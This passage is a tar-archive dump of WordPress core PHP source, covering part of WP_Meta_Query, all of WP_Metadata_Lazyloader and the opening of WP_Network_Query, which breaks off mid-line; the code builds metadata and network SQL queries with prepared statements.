needs to be * first (so that its table join is against an unaliased meta table) and * needs to be its own clause (so it doesn't interfere with the logic of * the rest of the meta_query). */ $primary_meta_query = array(); foreach ( array( 'key', 'compare', 'type', 'compare_key', 'type_key' ) as $key ) { if ( ! empty( $qv[ "meta_$key" ] ) ) { $primary_meta_query[ $key ] = $qv[ "meta_$key" ]; } } // WP_Query sets 'meta_value' = '' by default. if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) { $primary_meta_query['value'] = $qv['meta_value']; } $existing_meta_query = isset( $qv['meta_query'] ) && is_array( $qv['meta_query'] ) ? $qv['meta_query'] : array(); if ( ! empty( $primary_meta_query ) && ! empty( $existing_meta_query ) ) { $meta_query = array( 'relation' => 'AND', $primary_meta_query, $existing_meta_query, ); } elseif ( ! empty( $primary_meta_query ) ) { $meta_query = array( $primary_meta_query, ); } elseif ( ! empty( $existing_meta_query ) ) { $meta_query = $existing_meta_query; } $this->__construct( $meta_query ); } /** * Return the appropriate alias for the given meta type if applicable. * * @since 3.7.0 * * @param string $type MySQL type to cast meta_value. * @return string MySQL type. */ public function get_cast_for_type( $type = '' ) { if ( empty( $type ) ) { return 'CHAR'; } $meta_type = strtoupper( $type ); if ( ! preg_match( '/^(?:BINARY|CHAR|DATE|DATETIME|SIGNED|UNSIGNED|TIME|NUMERIC(?:\(\d+(?:,\s?\d+)?\))?|DECIMAL(?:\(\d+(?:,\s?\d+)?\))?)$/', $meta_type ) ) { return 'CHAR'; } if ( 'NUMERIC' === $meta_type ) { $meta_type = 'SIGNED'; } return $meta_type; } /** * Generates SQL clauses to be appended to a main query. * * @since 3.2.0 * * @param string $type Type of meta, eg 'user', 'post'. * @param string $primary_table Database table where the object being filtered is stored (eg wp_users). * @param string $primary_id_column ID column for the filtered object in $primary_table. * @param object $context Optional. The main query object. * @return array|false { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql( $type, $primary_table, $primary_id_column, $context = null ) { $meta_table = _get_meta_table( $type ); if ( ! $meta_table ) { return false; } $this->table_aliases = array(); $this->meta_table = $meta_table; $this->meta_id_column = sanitize_key( $type . '_id' ); $this->primary_table = $primary_table; $this->primary_id_column = $primary_id_column; $sql = $this->get_sql_clauses(); /* * If any JOINs are LEFT JOINs (as in the case of NOT EXISTS), then all JOINs should * be LEFT. Otherwise posts with no metadata will be excluded from results. */ if ( false !== strpos( $sql['join'], 'LEFT JOIN' ) ) { $sql['join'] = str_replace( 'INNER JOIN', 'LEFT JOIN', $sql['join'] ); } /** * Filters the meta query's generated SQL. * * @since 3.1.0 * * @param array $sql Array containing the query's JOIN and WHERE clauses. * @param array $queries Array of meta queries. * @param string $type Type of meta. * @param string $primary_table Primary table. * @param string $primary_id_column Primary column ID. * @param object $context The main query object. */ return apply_filters_ref_array( 'get_meta_sql', array( $sql, $this->queries, $type, $primary_table, $primary_id_column, $context ) ); } /** * Generate SQL clauses to be appended to a main query. * * Called by the public WP_Meta_Query::get_sql(), this method is abstracted * out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { /* * $queries are passed by reference to get_sql_for_query() for recursion. * To keep $this->queries unaltered, pass a copy. */ $queries = $this->queries; $sql = $this->get_sql_for_query( $queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generate SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse (passed by reference). * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( &$query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => &$clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query, $key ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Generate SQL JOIN and WHERE clauses for a first-order query clause. * * "First-order" means that it's an array with a 'key' or 'value'. * * @since 4.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $clause Query clause (passed by reference). * @param array $parent_query Parent query array. * @param string $clause_key Optional. The array key used to name the clause in the original `$meta_query` * parameters. If not provided, a key will be generated automatically. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a first-order query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql_for_clause( &$clause, $parent_query, $clause_key = '' ) { global $wpdb; $sql_chunks = array( 'where' => array(), 'join' => array(), ); if ( isset( $clause['compare'] ) ) { $clause['compare'] = strtoupper( $clause['compare'] ); } else { $clause['compare'] = isset( $clause['value'] ) && is_array( $clause['value'] ) ? 'IN' : '='; } $non_numeric_operators = array( '=', '!=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS', 'RLIKE', 'REGEXP', 'NOT REGEXP', ); $numeric_operators = array( '>', '>=', '<', '<=', 'BETWEEN', 'NOT BETWEEN', ); if ( ! in_array( $clause['compare'], $non_numeric_operators, true ) && ! in_array( $clause['compare'], $numeric_operators, true ) ) { $clause['compare'] = '='; } if ( isset( $clause['compare_key'] ) ) { $clause['compare_key'] = strtoupper( $clause['compare_key'] ); } else { $clause['compare_key'] = isset( $clause['key'] ) && is_array( $clause['key'] ) ? 'IN' : '='; } if ( ! in_array( $clause['compare_key'], $non_numeric_operators, true ) ) { $clause['compare_key'] = '='; } $meta_compare = $clause['compare']; $meta_compare_key = $clause['compare_key']; // First build the JOIN clause, if one is required. $join = ''; // We prefer to avoid joins if possible. Look for an existing join compatible with this clause. $alias = $this->find_compatible_table_alias( $clause, $parent_query ); if ( false === $alias ) { $i = count( $this->table_aliases ); $alias = $i ? 'mt' . $i : $this->meta_table; // JOIN clauses for NOT EXISTS have their own syntax. if ( 'NOT EXISTS' === $meta_compare ) { $join .= " LEFT JOIN $this->meta_table"; $join .= $i ? " AS $alias" : ''; if ( 'LIKE' === $meta_compare_key ) { $join .= $wpdb->prepare( " ON ($this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key LIKE %s )", '%' . $wpdb->esc_like( $clause['key'] ) . '%' ); } else { $join .= $wpdb->prepare( " ON ($this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key = %s )", $clause['key'] ); } // All other JOIN clauses. } else { $join .= " INNER JOIN $this->meta_table"; $join .= $i ? " AS $alias" : ''; $join .= " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column )"; } $this->table_aliases[] = $alias; $sql_chunks['join'][] = $join; } // Save the alias to this clause, for future siblings to find. $clause['alias'] = $alias; // Determine the data type. $_meta_type = isset( $clause['type'] ) ? $clause['type'] : ''; $meta_type = $this->get_cast_for_type( $_meta_type ); $clause['cast'] = $meta_type; // Fallback for clause keys is the table alias. Key must be a string. if ( is_int( $clause_key ) || ! $clause_key ) { $clause_key = $clause['alias']; } // Ensure unique clause keys, so none are overwritten. $iterator = 1; $clause_key_base = $clause_key; while ( isset( $this->clauses[ $clause_key ] ) ) { $clause_key = $clause_key_base . '-' . $iterator; $iterator++; } // Store the clause in our flat array. $this->clauses[ $clause_key ] =& $clause; // Next, build the WHERE clause. // meta_key. if ( array_key_exists( 'key', $clause ) ) { if ( 'NOT EXISTS' === $meta_compare ) { $sql_chunks['where'][] = $alias . '.' . $this->meta_id_column . ' IS NULL'; } else { /** * In joined clauses negative operators have to be nested into a * NOT EXISTS clause and flipped, to avoid returning records with * matching post IDs but different meta keys. Here we prepare the * nested clause. */ if ( in_array( $meta_compare_key, array( '!=', 'NOT IN', 'NOT LIKE', 'NOT EXISTS', 'NOT REGEXP' ), true ) ) { // Negative clauses may be reused. $i = count( $this->table_aliases ); $subquery_alias = $i ? 'mt' . $i : $this->meta_table; $this->table_aliases[] = $subquery_alias; $meta_compare_string_start = 'NOT EXISTS ('; $meta_compare_string_start .= "SELECT 1 FROM $wpdb->postmeta $subquery_alias "; $meta_compare_string_start .= "WHERE $subquery_alias.post_ID = $alias.post_ID "; $meta_compare_string_end = 'LIMIT 1'; $meta_compare_string_end .= ')'; } switch ( $meta_compare_key ) { case '=': case 'EXISTS': $where = $wpdb->prepare( "$alias.meta_key = %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case 'LIKE': $meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%'; $where = $wpdb->prepare( "$alias.meta_key LIKE %s", $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case 'IN': $meta_compare_string = "$alias.meta_key IN (" . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ')'; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'RLIKE': case 'REGEXP': $operator = $meta_compare_key; if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) { $cast = 'BINARY'; } else { $cast = ''; } $where = $wpdb->prepare( "$alias.meta_key $operator $cast %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared break; case '!=': case 'NOT EXISTS': $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key = %s " . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT LIKE': $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key LIKE %s " . $meta_compare_string_end; $meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%'; $where = $wpdb->prepare( $meta_compare_string, $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT IN': $array_subclause = '(' . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ') '; $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key IN " . $array_subclause . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; case 'NOT REGEXP': $operator = $meta_compare_key; if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) { $cast = 'BINARY'; } else { $cast = ''; } $meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key REGEXP $cast %s " . $meta_compare_string_end; $where = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared break; } $sql_chunks['where'][] = $where; } } // meta_value. if ( array_key_exists( 'value', $clause ) ) { $meta_value = $clause['value']; if ( in_array( $meta_compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { if ( ! is_array( $meta_value ) ) { $meta_value = preg_split( '/[,\s]+/', $meta_value ); } } else { $meta_value = trim( $meta_value ); } switch ( $meta_compare ) { case 'IN': case 'NOT IN': $meta_compare_string = '(' . substr( str_repeat( ',%s', count( $meta_value ) ), 1 ) . ')'; $where = $wpdb->prepare( $meta_compare_string, $meta_value ); break; case 'BETWEEN': case 'NOT BETWEEN': $where = $wpdb->prepare( '%s AND %s', $meta_value[0], $meta_value[1] ); break; case 'LIKE': case 'NOT LIKE': $meta_value = '%' . $wpdb->esc_like( $meta_value ) . '%'; $where = $wpdb->prepare( '%s', $meta_value ); break; // EXISTS with a value is interpreted as '='. case 'EXISTS': $meta_compare = '='; $where = $wpdb->prepare( '%s', $meta_value ); break; // 'value' is ignored for NOT EXISTS. case 'NOT EXISTS': $where = ''; break; default: $where = $wpdb->prepare( '%s', $meta_value ); break; } if ( $where ) { if ( 'CHAR' === $meta_type ) { $sql_chunks['where'][] = "$alias.meta_value {$meta_compare} {$where}"; } else { $sql_chunks['where'][] = "CAST($alias.meta_value AS {$meta_type}) {$meta_compare} {$where}"; } } } /* * Multiple WHERE clauses (for meta_key and meta_value) should * be joined in parentheses. */ if ( 1 < count( $sql_chunks['where'] ) ) { $sql_chunks['where'] = array( '( ' . implode( ' AND ', $sql_chunks['where'] ) . ' )' ); } return $sql_chunks; } /** * Get a flattened list of sanitized meta clauses. * * This array should be used for clause lookup, as when the table alias and CAST type must be determined for * a value of 'orderby' corresponding to a meta clause. * * @since 4.2.0 * * @return array Meta clauses. */ public function get_clauses() { return $this->clauses; } /** * Identify an existing table alias that is compatible with the current * query clause. * * We avoid unnecessary table joins by allowing each clause to look for * an existing table alias that is compatible with the query that it * needs to perform. * * An existing alias is compatible if (a) it is a sibling of `$clause` * (ie, it's under the scope of the same relation), and (b) the combination * of operator and relation between the clauses allows for a shared table join. * In the case of WP_Meta_Query, this only applies to 'IN' clauses that are * connected by the relation 'OR'. * * @since 4.1.0 * * @param array $clause Query clause. * @param array $parent_query Parent query of $clause. * @return string|false Table alias if found, otherwise false. */ protected function find_compatible_table_alias( $clause, $parent_query ) { $alias = false; foreach ( $parent_query as $sibling ) { // If the sibling has no alias yet, there's nothing to check. if ( empty( $sibling['alias'] ) ) { continue; } // We're only interested in siblings that are first-order clauses. if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) { continue; } $compatible_compares = array(); // Clauses connected by OR can share joins as long as they have "positive" operators. if ( 'OR' === $parent_query['relation'] ) { $compatible_compares = array( '=', 'IN', 'BETWEEN', 'LIKE', 'REGEXP', 'RLIKE', '>', '>=', '<', '<=' ); // Clauses joined by AND with "negative" operators share a join only if they also share a key. } elseif ( isset( $sibling['key'] ) && isset( $clause['key'] ) && $sibling['key'] === $clause['key'] ) { $compatible_compares = array( '!=', 'NOT IN', 'NOT LIKE' ); } $clause_compare = strtoupper( $clause['compare'] ); $sibling_compare = strtoupper( $sibling['compare'] ); if ( in_array( $clause_compare, $compatible_compares, true ) && in_array( $sibling_compare, $compatible_compares, true ) ) { $alias = $sibling['alias']; break; } } /** * Filters the table alias identified as compatible with the current clause. * * @since 4.1.0 * * @param string|false $alias Table alias, or false if none was found. * @param array $clause First-order query clause. * @param array $parent_query Parent of $clause. * @param WP_Meta_Query $this WP_Meta_Query object. */ return apply_filters( 'meta_query_find_compatible_table_alias', $alias, $clause, $parent_query, $this ); } /** * Checks whether the current query has any OR relations. * * In some cases, the presence of an OR relation somewhere in the query will require * the use of a `DISTINCT` or `GROUP BY` keyword in the `SELECT` clause. The current * method can be used in these cases to determine whether such a clause is necessary. * * @since 4.3.0 * * @return bool True if the query contains any `OR` relations, otherwise false. */ public function has_or_relation() { return $this->has_or_relation; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-metadata-lazyloader.php��������������������������������������������������������������������0000644�����������������00000012350�15120262030�0012720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Meta API: WP_Metadata_Lazyloader class * * @package WordPress * @subpackage Meta * @since 4.5.0 */ /** * Core class used for lazy-loading object metadata. * * When loading many objects of a given type, such as posts in a WP_Query loop, it often makes * sense to prime various metadata caches at the beginning of the loop. This means fetching all * relevant metadata with a single database query, a technique that has the potential to improve * performance dramatically in some cases. * * In cases where the given metadata may not even be used in the loop, we can improve performance * even more by only priming the metadata cache for affected items the first time a piece of metadata * is requested - ie, by lazy-loading it. So, for example, comment meta may not be loaded into the * cache in the comments section of a post until the first time get_comment_meta() is called in the * context of the comment loop. * * WP uses the WP_Metadata_Lazyloader class to queue objects for metadata cache priming. The class * then detects the relevant get_*_meta() function call, and queries the metadata of all queued objects. * * Do not access this class directly. Use the wp_metadata_lazyloader() function. * * @since 4.5.0 */ class WP_Metadata_Lazyloader { /** * Pending objects queue. * * @since 4.5.0 * @var array */ protected $pending_objects; /** * Settings for supported object types. * * @since 4.5.0 * @var array */ protected $settings = array(); /** * Constructor. * * @since 4.5.0 */ public function __construct() { $this->settings = array( 'term' => array( 'filter' => 'get_term_metadata', 'callback' => array( $this, 'lazyload_term_meta' ), ), 'comment' => array( 'filter' => 'get_comment_metadata', 'callback' => array( $this, 'lazyload_comment_meta' ), ), ); } /** * Adds objects to the metadata lazy-load queue. * * @since 4.5.0 * * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'. * @param array $object_ids Array of object IDs. * @return void|WP_Error WP_Error on failure. */ public function queue_objects( $object_type, $object_ids ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) ); } $type_settings = $this->settings[ $object_type ]; if ( ! isset( $this->pending_objects[ $object_type ] ) ) { $this->pending_objects[ $object_type ] = array(); } foreach ( $object_ids as $object_id ) { // Keyed by ID for faster lookup. if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) { $this->pending_objects[ $object_type ][ $object_id ] = 1; } } add_filter( $type_settings['filter'], $type_settings['callback'] ); /** * Fires after objects are added to the metadata lazy-load queue. * * @since 4.5.0 * * @param array $object_ids Array of object IDs. * @param string $object_type Type of object being queued. * @param WP_Metadata_Lazyloader $lazyloader The lazy-loader object. */ do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this ); } /** * Resets lazy-load queue for a given object type. * * @since 4.5.0 * * @param string $object_type Object type. Accepts 'comment' or 'term'. * @return void|WP_Error WP_Error on failure. */ public function reset_queue( $object_type ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) ); } $type_settings = $this->settings[ $object_type ]; $this->pending_objects[ $object_type ] = array(); remove_filter( $type_settings['filter'], $type_settings['callback'] ); } /** * Lazy-loads term meta for queued terms. * * This method is public so that it can be used as a filter callback. As a rule, there * is no need to invoke it directly. * * @since 4.5.0 * * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook. * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be * another value if filtered by a plugin. */ public function lazyload_term_meta( $check ) { if ( ! empty( $this->pending_objects['term'] ) ) { update_termmeta_cache( array_keys( $this->pending_objects['term'] ) ); // No need to run again for this set of terms. $this->reset_queue( 'term' ); } return $check; } /** * Lazy-loads comment meta for queued comments. * * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it * directly, from either inside or outside the `WP_Query` object. * * @since 4.5.0 * * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook. * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`. */ public function lazyload_comment_meta( $check ) { if ( ! empty( $this->pending_objects['comment'] ) ) { update_meta_cache( 'comment', array_keys( $this->pending_objects['comment'] ) ); // No need to run again for this set of comments. $this->reset_queue( 'comment' ); } return $check; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-network-query.php��������������������������������������������������������������������������0000644�����������������00000045341�15120262030�0011636 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Network API: WP_Network_Query class * * @package WordPress * @subpackage Multisite * @since 4.6.0 */ /** * Core class used for querying networks. * * @since 4.6.0 * * @see WP_Network_Query::__construct() for accepted arguments. */ class WP_Network_Query { /** * SQL for database query. * * @since 4.6.0 * @var string */ public $request; /** * SQL query clauses. * * @since 4.6.0 * @var array */ protected $sql_clauses = array( 'select' => '', 'from' => '', 'where' => array(), 'groupby' => '', 'orderby' => '', 'limits' => '', ); /** * Query vars set by the user. * * @since 4.6.0 * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.6.0 * @var array */ public $query_var_defaults; /** * List of networks located by the query. * * @since 4.6.0 * @var array */ public $networks; /** * The amount of found networks for the current query. * * @since 4.6.0 * @var int */ public $found_networks = 0; /** * The number of pages. * * @since 4.6.0 * @var int */ public $max_num_pages = 0; /** * Constructor. * * Sets up the network query, based on the query vars passed. * * @since 4.6.0 * * @param string|array $query { * Optional. Array or query string of network query parameters. Default empty. * * @type int[] $network__in Array of network IDs to include. Default empty. * @type int[] $network__not_in Array of network IDs to exclude. Default empty. * @type bool $count Whether to return a network count (true) or array of network objects. * Default false. * @type string $fields Network fields to return. Accepts 'ids' (returns an array of network IDs) * or empty (returns an array of complete network objects). Default empty. * @type int $number Maximum number of networks to retrieve. Default empty (no limit). * @type int $offset Number of networks to offset the query. Used to build LIMIT clause. * Default 0. * @type bool $no_found_rows Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true. * @type string|array $orderby Network status or array of statuses. Accepts 'id', 'domain', 'path', * 'domain_length', 'path_length' and 'network__in'. Also accepts false, * an empty array, or 'none' to disable `ORDER BY` clause. Default 'id'. * @type string $order How to order retrieved networks. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type string $domain Limit results to those affiliated with a given domain. Default empty. * @type string[] $domain__in Array of domains to include affiliated networks for. Default empty. * @type string[] $domain__not_in Array of domains to exclude affiliated networks for. Default empty. * @type string $path Limit results to those affiliated with a given path. Default empty. * @type string[] $path__in Array of paths to include affiliated networks for. Default empty. * @type string[] $path__not_in Array of paths to exclude affiliated networks for. Default empty. * @type string $search Search term(s) to retrieve matching networks for. Default empty. * @type bool $update_network_cache Whether to prime the cache for found networks. Default true. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'network__in' => '', 'network__not_in' => '', 'count' => false, 'fields' => '', 'number' => '', 'offset' => '', 'no_found_rows' => true, 'orderby' => 'id', 'order' => 'ASC', 'domain' => '', 'domain__in' => '', 'domain__not_in' => '', 'path' => '', 'path__in' => '', 'path__not_in' => '', 'search' => '', 'update_network_cache' => true, ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parses arguments passed to the network query with default query parameters. * * @since 4.6.0 * * @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct() */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $this->query_vars = wp_parse_args( $query, $this->query_var_defaults ); /** * Fires after the network query vars have been parsed. * * @since 4.6.0 * * @param WP_Network_Query $this The WP_Network_Query instance (passed by reference). */ do_action_ref_array( 'parse_network_query', array( &$this ) ); } /** * Sets up the WordPress query for retrieving networks. * * @since 4.6.0 * * @param string|array $query Array or URL query string of parameters. * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids', * or the number of networks when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_networks(); } /** * Gets a list of networks matching the query vars. * * @since 4.6.0 * * @return array|int List of WP_Network objects, a list of network IDs when 'fields' is set to 'ids', * or the number of networks when 'count' is passed as a query var. */ public function get_networks() { $this->parse_query(); /** * Fires before networks are retrieved. * * @since 4.6.0 * * @param WP_Network_Query $this Current instance of WP_Network_Query (passed by reference). */ do_action_ref_array( 'pre_get_networks', array( &$this ) ); $network_data = null; /** * Filters the network data before the query takes place. * * Return a non-null value to bypass WordPress' default network queries. * * The expected return type from this filter depends on the value passed * in the request query vars: * - When `$this->query_vars['count']` is set, the filter should return * the network count as an integer. * - When `'ids' === $this->query_vars['fields']`, the filter should return * an array of network IDs. * - Otherwise the filter should return an array of WP_Network objects. * * Note that if the filter returns an array of network data, it will be assigned * to the `networks` property of the current WP_Network_Query instance. * * Filtering functions that require pagination information are encouraged to set * the `found_networks` and `max_num_pages` properties of the WP_Network_Query object, * passed to the filter by reference. If WP_Network_Query does not perform a database * query, it will not have enough information to generate these values itself. * * @since 5.2.0 * @since 5.6.0 The returned array of network data is assigned to the `networks` property * of the current WP_Network_Query instance. * * @param array|int|null $network_data Return an array of network data to short-circuit WP's network query, * the network count as an integer if `$this->query_vars['count']` is set, * or null to allow WP to run its normal queries. * @param WP_Network_Query $query The WP_Network_Query instance, passed by reference. */ $network_data = apply_filters_ref_array( 'networks_pre_query', array( $network_data, &$this ) ); if ( null !== $network_data ) { if ( is_array( $network_data ) && ! $this->query_vars['count'] ) { $this->networks = $network_data; } return $network_data; } // $args can include anything. Only use the args defined in the query_var_defaults to compute the key. $_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ); // Ignore the $fields argument as the queried result will be the same regardless. unset( $_args['fields'] ); $key = md5( serialize( $_args ) ); $last_changed = wp_cache_get_last_changed( 'networks' ); $cache_key = "get_network_ids:$key:$last_changed"; $cache_value = wp_cache_get( $cache_key, 'networks' ); if ( false === $cache_value ) { $network_ids = $this->get_network_ids(); if ( $network_ids ) { $this->set_found_networks(); } $cache_value = array( 'network_ids' => $network_ids, 'found_networks' => $this->found_networks, ); wp_cache_add( $cache_key, $cache_value, 'networks' ); } else { $network_ids = $cache_value['network_ids']; $this->found_networks = $cache_value['found_networks']; } if ( $this->found_networks && $this->query_vars['number'] ) { $this->max_num_pages = ceil( $this->found_networks / $this->query_vars['number'] ); } // If querying for a count only, there's nothing more to do. if ( $this->query_vars['count'] ) { // $network_ids is actually a count in this case. return (int) $network_ids; } $network_ids = array_map( 'intval', $network_ids ); if ( 'ids' === $this->query_vars['fields'] ) { $this->networks = $network_ids; return $this->networks; } if ( $this->query_vars['update_network_cache'] ) { _prime_network_caches( $network_ids ); } // Fetch full network objects from the primed cache. $_networks = array(); foreach ( $network_ids as $network_id ) { $_network = get_network( $network_id ); if ( $_network ) { $_networks[] = $_network; } } /** * Filters the network query results. * * @since 4.6.0 * * @param WP_Network[] $_networks An array of WP_Network objects. * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ $_networks = apply_filters_ref_array( 'the_networks', array( $_networks, &$this ) ); // Convert to WP_Network instances. $this->networks = array_map( 'get_network', $_networks ); return $this->networks; } /** * Used internally to get a list of network IDs matching the query vars. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int|array A single count of network IDs if a count query. An array of network IDs if a full query. */ protected function get_network_ids() { global $wpdb; $order = $this->parse_order( $this->query_vars['order'] ); // Disable ORDER BY with 'none', an empty array, or boolean false. if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) { $orderby = ''; } elseif ( ! empty( $this->query_vars['orderby'] ) ) { $ordersby = is_array( $this->query_vars['orderby'] ) ? $this->query_vars['orderby'] : preg_split( '/[,\s]/', $this->query_vars['orderby'] ); $orderby_array = array(); foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { $_orderby = $_value; $_order = $order; } else { $_orderby = $_key; $_order = $_value; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'network__in' === $_orderby ) { $orderby_array[] = $parsed; continue; } $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } $orderby = implode( ', ', $orderby_array ); } else { $orderby = "$wpdb->site.id $order"; } $number = absint( $this->query_vars['number'] ); $offset = absint( $this->query_vars['offset'] ); $limits = ''; if ( ! empty( $number ) ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . $number; } } if ( $this->query_vars['count'] ) { $fields = 'COUNT(*)'; } else { $fields = "$wpdb->site.id"; } // Parse network IDs for an IN clause. if ( ! empty( $this->query_vars['network__in'] ) ) { $this->sql_clauses['where']['network__in'] = "$wpdb->site.id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )'; } // Parse network IDs for a NOT IN clause. if ( ! empty( $this->query_vars['network__not_in'] ) ) { $this->sql_clauses['where']['network__not_in'] = "$wpdb->site.id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )'; } if ( ! empty( $this->query_vars['domain'] ) ) { $this->sql_clauses['where']['domain'] = $wpdb->prepare( "$wpdb->site.domain = %s", $this->query_vars['domain'] ); } // Parse network domain for an IN clause. if ( is_array( $this->query_vars['domain__in'] ) ) { $this->sql_clauses['where']['domain__in'] = "$wpdb->site.domain IN ( '" 